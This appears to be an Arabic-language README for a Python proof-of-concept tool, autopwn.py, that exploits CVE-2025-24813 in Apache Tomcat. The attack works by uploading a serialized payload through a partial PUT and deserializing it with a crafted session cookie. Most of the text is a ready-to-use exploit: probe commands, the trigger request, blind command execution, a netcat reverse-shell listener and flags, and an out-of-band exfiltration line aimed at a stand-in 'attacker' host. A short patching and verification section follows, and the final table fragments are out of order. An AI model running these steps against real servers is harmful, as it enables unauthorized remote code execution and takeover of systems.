
Python PoC يستغل CVE-2025-24813، وهو RCE عبر إلغاء تسلسل PUT الجزئي في Apache Tomcat. يكتشف تلقائيًا المتغيرات القابلة للاستغلال، ويدعم تنفيذ الأوامر بشكل أعمى والأصداف العكسية.
الخطورة: حرجة (CVSS 9.8) المصادقة مطلوبة: لا المتأثر: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 تم إصلاحه في: Tomcat 9.0.99 / 10.1.35 / 11.0.3
يدعم Apache Tomcat partial PUT (رفع مجزأ عبر Content-Range).
عند وصول partial PUT، يقوم Tomcat بتخزين الجسم في ملف مؤقت تحت:
$CATALINA_HOME/work/…/<url-path-filename>
إذا كان التطبيق مُهيأً بـ PersistentManager + FileStore في context.xml،
يقرأ Tomcat تلقائيًا ملفات *.session من نفس دليل العمل ويقوم بـ deserializes
لها لاستعادة الجلسات.
بدمج هذين السلوكين:
PUT /<sid>.session → writes Java-serialized payload to work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat loads & deserializes the file → RCE
النقطة البادئة (.) في قيمة الكوكي تُفعّل البحث عن الجلسة بالمسار المطلق
(المتغير B)، وهو المسار الذي يصل بشكل موثوق إلى الملف المُخزَّن.
يستخدم هذا الـ PoC سلسلة CommonsCollections6 من ysoserial،
والتي تعمل على Java 8–17 بدون أعلام @jdk.internal ولا تعتمد على
sun.reflect.SerializationConstructorAccessorImpl.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| الحالة | المعنى |
|---|---|
| PUT 201 | تم تخزين الملف في دليل عمل Tomcat |
| PUT 409 | المسار محظور (تم رفض الاجتياز) |
| GET 200 | الجلسة غير موجودة / لم يتم إلغاء تسلسلها |
| GET 500 | تم تفعيل إلغاء التسلسل → RCE |
الرفع هو تدفق Java مُسلسَل ثنائي خام — بدون ترميز URL. على عكس استغلالات معاملات استعلام HTTP، تذهب الحمولة في جسم الطلب عبر PUT، لذلك لا توجد طبقة ترميز URL للتعامل معها:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
يشير ترويسة Content-Range إلى رفع جزئي؛ يكتب Tomcat الجسم على القرص
كما هو، مع الحفاظ على كل بايت من الحمولة المُسلسَلة.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
يكتشف السكربت تلقائيًا المتغير A/B، ويتوقف بعد أول إصابة، ويطبع المسار الفائز حتى تعرف بالضبط ما الذي نجح.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 هو أعمى — يشغّل Runtime.exec() الأمر، لكن stdout/stderr
يتم التخلص منهما؛ استجابة HTTP تعكس فقط ما إذا كان إلغاء التسلسل قد نجح (500)
أم لا (200).
ثلاث طرق للحصول على المخرجات:
| الطريقة | الكيفية |
|---|---|
| ملف Webroot | إعادة توجيه المخرجات إلى ملف في ، وجلبه عبر HTTP |
| الفرع | المتأثر | المُرقَّع |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
في $CATALINA_HOME/conf/web.xml، ابحث عن init-param الخاص بـ DefaultServlet واضبط:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
أو عطّل PersistentManager في context.xml إذا لم يكن مطلوبًا:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
لأغراض اختبار الأمان المصرح به والأغراض التعليمية فقط.
/…/webapps/ROOT/| Reverse shell | علم --revshell — احصل على shell تفاعلي، وشغّل أي أمر مباشرة |
| DNS/OOB | `curl http://attacker/$(id |
| 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |